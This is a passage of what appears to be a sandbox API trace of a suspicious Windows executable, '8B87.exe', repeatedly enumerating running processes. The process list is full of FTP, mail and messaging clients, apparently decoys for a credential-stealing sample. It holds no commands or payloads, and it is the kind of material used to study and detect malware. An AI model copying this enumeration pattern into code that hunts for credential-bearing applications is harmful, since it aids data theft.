lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0280.934] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.968] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.970] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0280.972] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0280.974] CloseHandle (hObject=0x21b0) returned 1 [0280.974] Sleep (dwMilliseconds=0x64) [0280.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1594 [0281.090] Process32First (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.092] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.095] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.097] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.099] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.101] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.103] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.105] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.107] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.109] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.111] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.113] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.116] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.118] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.120] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.124] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.127] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.129] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.132] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.135] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.137] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.140] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.142] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.145] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.148] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.151] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0281.153] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.156] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.158] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.161] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.163] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.165] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.199] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0281.204] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.206] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.208] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0281.210] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0281.213] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0281.215] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0281.217] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0281.219] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0281.221] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0281.224] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0281.225] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0281.227] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0281.229] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0281.232] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0281.234] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0281.236] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0281.238] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0281.240] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0281.241] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0281.243] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0281.245] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0281.248] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0281.250] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0281.252] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0281.255] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0281.257] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0281.259] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0281.262] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0281.265] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0281.268] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0281.270] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0281.273] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0281.276] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0281.278] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0281.282] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0281.284] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0281.286] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0281.289] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0281.292] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0281.295] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0281.297] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0281.299] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0281.302] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0281.304] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0281.404] Process32Next (in: hSnapshot=0x1594, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 